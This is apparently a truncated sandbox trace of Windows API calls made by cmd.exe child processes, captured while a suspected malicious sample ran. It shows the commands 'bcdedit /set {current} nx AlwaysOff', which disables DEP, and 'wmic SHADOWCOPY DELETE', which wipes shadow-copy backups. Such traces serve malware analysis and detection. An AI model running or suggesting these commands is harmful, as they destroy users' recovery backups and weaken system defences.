(_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.836] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0051.837] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0051.837] GetProcessHeap () returned 0x194ab2f0000 [0051.837] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f1880) returned 1 [0051.837] GetProcessHeap () returned 0x194ab2f0000 [0051.837] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0x12) returned 0x194ab2f8850 [0051.837] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0051.838] _get_osfhandle (_FileHandle=1) returned 0xc [0051.838] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0051.848] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.848] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0052.029] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit.exe /set {current} nx AlwaysOff", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x6bf50ff0e0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit.exe /set {current} nx AlwaysOff", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x6bf50ff0b8 | out: lpCommandLine="bcdedit.exe /set {current} nx AlwaysOff", lpProcessInformation=0x6bf50ff0b8*(hProcess=0x9c, hThread=0x98, dwProcessId=0x39c, dwThreadId=0xa60)) returned 1 [0052.844] CloseHandle (hObject=0x98) returned 1 [0052.844] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0052.844] GetProcessHeap () returned 0x194ab2f0000 [0052.844] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f9400) returned 1 [0052.844] GetEnvironmentStringsW () returned 0x194ab2f9400* [0052.844] GetProcessHeap () returned 0x194ab2f0000 [0052.845] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xb7e) returned 0x194ab2f5ec0 [0052.845] FreeEnvironmentStringsA (penv="=") returned 1 [0052.845] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0054.560] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x6bf50ff038 | out: lpExitCode=0x6bf50ff038*=0x0) returned 1 [0054.560] CloseHandle (hObject=0x9c) returned 1 [0054.560] _vsnwprintf (in: _Buffer=0x6bf50ff208, _BufferCount=0x13, _Format="%08X", _ArgList=0x6bf50ff048 | out: _Buffer="00000000") returned 8 [0054.561] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0054.561] GetProcessHeap () returned 0x194ab2f0000 [0054.561] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f5ec0) returned 1 [0054.561] GetEnvironmentStringsW () returned 0x194ab2f8870* [0054.561] GetProcessHeap () returned 0x194ab2f0000 [0054.561] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xba4) returned 0x194ab309ff0 [0054.562] FreeEnvironmentStringsA (penv="=") returned 1 [0054.562] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0054.562] GetProcessHeap () returned 0x194ab2f0000 [0054.562] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab309ff0) returned 1 [0054.562] GetEnvironmentStringsW () returned 0x194ab2f8870* [0054.562] GetProcessHeap () returned 0x194ab2f0000 [0054.562] RtlAllocateHeap (HeapHandle=0x194ab2f0000, Flags=0x8, Size=0xba4) returned 0x194ab309ff0 [0054.563] FreeEnvironmentStringsA (penv="=") returned 1 [0054.563] GetProcessHeap () returned 0x194ab2f0000 [0054.563] RtlFreeHeap (HeapHandle=0x194ab2f0000, Flags=0x0, BaseAddress=0x194ab2f8850) returned 1 [0054.563] DeleteProcThreadAttributeList (in: lpAttributeList=0x6bf50ff1c0 | out: lpAttributeList=0x6bf50ff1c0) [0054.563] ??_V@YAXPEAX@Z () returned 0x1 [0054.563] _get_osfhandle (_FileHandle=1) returned 0xc [0054.563] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0054.635] _get_osfhandle (_FileHandle=1) returned 0xc [0054.635] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0054.725] _get_osfhandle (_FileHandle=1) returned 0xc [0054.725] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0054.766] _get_osfhandle (_FileHandle=0) returned 0x8 [0054.766] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0054.771] SetConsoleInputExeNameW () returned 0x1 [0054.771] GetConsoleOutputCP () returned 0x1b5 [0054.780] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0054.780] SetThreadUILanguage (LangId=0x0) returned 0x409 [0054.921] exit (_Code=0) Thread: id = 22 os_tid = 0x4a8 Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7aa7000" os_pid = "0xd68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x47c" cmd_line = "/C wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 17 os_tid = 0xa98 [0050.194] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b8240000 [0050.194] __set_app_type (_Type=0x1) [0050.194] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7b8256d00) returned 0x0 [0050.194] __getmainargs (in: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210, _DoWildCard=0, _StartInfo=0x7ff7b827921c | out: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210) returned 0 [0050.194] _onexit (_Func=0x7ff7b8257fd0) returned 0x7ff7b8257fd0 [0050.194] _onexit (_Func=0x7ff7b8257fe0) returned 0x7ff7b8257fe0 [0050.194] _onexit (_Func=0x7ff7b8257ff0) returned 0x7ff7b8257ff0 [0050.194] _onexit (_Func=0x7ff7b8258000) returned 0x7ff7b8258000 [0050.195] _onexit (_Func=0x7ff7b8258010) returned 0x7ff7b8258010 [0050.195] _onexit (_Func=0x7ff7b8258020) returned 0x7ff7b8258020 [0050.195] GetCurrentThreadId () returned 0xa98 [0050.195] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa98) returned 0x7c [0050.195] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0050.195] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0050.195] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.431] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.431] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xa23917f7b8 | out: phkResult=0xa23917f7b8*=0x0) returned 0x2 [0050.432] VirtualQuery (in: lpAddress=0xa23917f7a4, lpBuffer=0xa23917f720, dwLength=0x30 | out: lpBuffer=0xa23917f720*(BaseAddress=0xa23917f000, AllocationBase=0xa239080000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.432] VirtualQuery (in: lpAddress=0xa239080000, lpBuffer=0xa23917f720, dwLength=0x30 | out: lpBuffer=0xa23917f720*(BaseAddress=0xa239080000, AllocationBase=0xa239080000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.432] VirtualQuery (in: lpAddress=0xa239081000, lpBuffer=0xa23917f720, dwLength=0x30 | out: lpBuffer=0xa23917f720*(BaseAddress=0xa239081000, AllocationBase=0xa239080000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.432] VirtualQuery (in: lpAddress=0xa239084000, lpBuffer=0xa23917f720, dwLength=0x30 | out: lpBuffer=0xa23917f720*(BaseAddress=0xa239084000, AllocationBase=0xa239080000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.432] VirtualQuery (in: lpAddress=0xa239180000, lpBuffer=0xa23917f720, dwLength=0x30 | out: lpBuffer=0xa23917f720*(BaseAddress=0xa239180000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0050.432] GetConsoleOutputCP () returned 0x1b5 [0050.675] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0050.675] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7b8268150, Add=1) returned 1 [0050.675] _get_osfhandle (_FileHandle=1) returned 0xc [0050.675] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc04 | out: lpMode=0x7ff7b827fc04) returned 1 [0050.813] _get_osfhandle (_FileHandle=0) returned 0x8 [0050.813] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc00 | out: lpMode=0x7ff7b827fc00) returned 1 [0050.893] _get_osfhandle (_FileHandle=1) returned 0xc [0050.893] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0051.046] _get_osfhandle (_FileHandle=1) returned 0xc [0051.046] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0051.135] _get_osfhandle (_FileHandle=1) returned 0xc [0051.135] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0051.175] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.175] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0051.253] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.253] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0051.459] GetEnvironmentStringsW () returned 0x255e1245ac0* [0051.459] GetProcessHeap () returned 0x255e1240000 [0051.459] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xb2e) returned 0x255e1246600 [0051.459] FreeEnvironmentStringsA (penv="A") returned 1 [0051.459] GetProcessHeap () returned 0x255e1240000 [0051.459] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x8) returned 0x255e1245ac0 [0051.459] GetEnvironmentStringsW () returned 0x255e1247140* [0051.459] GetProcessHeap () returned 0x255e1240000 [0051.459] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xb2e) returned 0x255e1247c80 [0051.460] FreeEnvironmentStringsA (penv="A") returned 1 [0051.460] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa23917e668 | out: phkResult=0xa23917e668*=0x88) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x0, lpData=0xa23917e680*=0x4, lpcbData=0xa23917e664*=0x1000) returned 0x2 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x4, lpData=0xa23917e680*=0x1, lpcbData=0xa23917e664*=0x4) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x0, lpData=0xa23917e680*=0x1, lpcbData=0xa23917e664*=0x1000) returned 0x2 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x4, lpData=0xa23917e680*=0x0, lpcbData=0xa23917e664*=0x4) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x4, lpData=0xa23917e680*=0x40, lpcbData=0xa23917e664*=0x4) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x4, lpData=0xa23917e680*=0x40, lpcbData=0xa23917e664*=0x4) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x0, lpData=0xa23917e680*=0x40, lpcbData=0xa23917e664*=0x1000) returned 0x2 [0051.460] RegCloseKey (hKey=0x88) returned 0x0 [0051.460] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xa23917e668 | out: phkResult=0xa23917e668*=0x88) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x0, lpData=0xa23917e680*=0x40, lpcbData=0xa23917e664*=0x1000) returned 0x2 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x4, lpData=0xa23917e680*=0x1, lpcbData=0xa23917e664*=0x4) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x0, lpData=0xa23917e680*=0x1, lpcbData=0xa23917e664*=0x1000) returned 0x2 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x4, lpData=0xa23917e680*=0x0, lpcbData=0xa23917e664*=0x4) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x4, lpData=0xa23917e680*=0x9, lpcbData=0xa23917e664*=0x4) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x4, lpData=0xa23917e680*=0x9, lpcbData=0xa23917e664*=0x4) returned 0x0 [0051.460] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xa23917e660, lpData=0xa23917e680, lpcbData=0xa23917e664*=0x1000 | out: lpType=0xa23917e660*=0x0, lpData=0xa23917e680*=0x9, lpcbData=0xa23917e664*=0x1000) returned 0x2 [0051.460] RegCloseKey (hKey=0x88) returned 0x0 [0051.460] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce7051d [0051.460] srand (_Seed=0x5ce7051d) [0051.460] GetCommandLineW () returned="/C wmic SHADOWCOPY DELETE" [0051.460] malloc (_Size=0x4000) returned 0x255e15855a0 [0051.461] GetCommandLineW () returned="/C wmic SHADOWCOPY DELETE" [0051.461] malloc (_Size=0xffce) returned 0x255e1410080 [0051.461] ??_V@YAXPEAX@Z () returned 0x255e1410080 [0051.462] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x255e1410080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.462] malloc (_Size=0xffce) returned 0x255e1420060 [0051.462] ??_V@YAXPEAX@Z () returned 0x255e1420060 [0051.462] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x255e1420060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0051.462] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.462] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.463] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.463] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0051.463] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0051.463] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0051.463] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0051.463] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0051.463] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0051.463] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0051.463] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0051.463] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0051.463] GetProcessHeap () returned 0x255e1240000 [0051.463] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e1246600) returned 1 [0051.463] GetEnvironmentStringsW () returned 0x255e1245ae0* [0051.463] GetProcessHeap () returned 0x255e1240000 [0051.463] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xb46) returned 0x255e1246630 [0051.463] FreeEnvironmentStringsA (penv="A") returned 1 [0051.463] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0051.463] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.463] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0051.463] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0051.463] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0051.463] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0051.463] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0051.463] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0051.463] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0051.463] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0051.463] malloc (_Size=0xffce) returned 0x255e1430040 [0051.464] ??_V@YAXPEAX@Z () returned 0x255e1430040 [0051.464] GetProcessHeap () returned 0x255e1240000 [0051.464] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x40) returned 0x255e12487f0 [0051.464] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x255e1430040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.464] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x255e1430040, lpFilePart=0xa23917f1e0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xa23917f1e0*="Desktop") returned 0x17 [0051.465] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.465] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xa23917ef10 | out: lpFindFileData=0xa23917ef10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x255e1248840 [0051.465] FindClose (in: hFindFile=0x255e1248840 | out: hFindFile=0x255e1248840) returned 1 [0051.465] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xa23917ef10 | out: lpFindFileData=0xa23917ef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x255e1248840 [0051.465] FindClose (in: hFindFile=0x255e1248840 | out: hFindFile=0x255e1248840) returned 1 [0051.465] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xa23917ef10 | out: lpFindFileData=0xa23917ef10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9a7d7a61, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9a7d7a61, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x255e1248840 [0051.465] FindClose (in: hFindFile=0x255e1248840 | out: hFindFile=0x255e1248840) returned 1 [0051.465] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.465] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0051.465] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0051.466] GetProcessHeap () returned 0x255e1240000 [0051.466] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e1246630) returned 1 [0051.466] GetEnvironmentStringsW () returned 0x255e1240fc0* [0051.466] GetProcessHeap () returned 0x255e1240000 [0051.466] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0xb7e) returned 0x255e12493d0 [0051.466] FreeEnvironmentStringsA (penv="=") returned 1 [0051.466] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x255e1410080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.466] GetProcessHeap () returned 0x255e1240000 [0051.466] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e12487f0) returned 1 [0051.466] ??_V@YAXPEAX@Z () returned 0x1 [0051.466] ??_V@YAXPEAX@Z () returned 0x1 [0051.466] GetProcessHeap () returned 0x255e1240000 [0051.466] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x4016) returned 0x255e1249f60 [0051.466] GetProcessHeap () returned 0x255e1240000 [0051.466] RtlAllocateHeap (HeapHandle=0x255e1240000, Flags=0x8, Size=0x42) returned 0x255e12487f0 [0051.466] GetProcessHeap () returned 0x255e1240000 [0051.466] RtlFreeHeap (HeapHandle=0x255e1240000, Flags=0x0, BaseAddress=0x255e1249f60) returned 1 [0051.466] GetConsoleOutputCP () returned 0x1b5 [0051.633] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0051.633] GetUserDefaultLCID () returned 0x409 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7b827bb78, cchData=8 | out: lpLCData=":") returned 2 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xa23917f5a0, cchData=128 | out: lpLCData="0") returned 2 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xa23917f5a0, cchData=128 | out: lpLCData="0") returned 2 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xa23917f5a0, cchData=128 | out: lpLCData="1") returned 2 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7b827bb68, cchData=8 | out: lpLCData="/") returned 2 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7b827bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0051.633] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7b827bac0, cchData=32 | out: 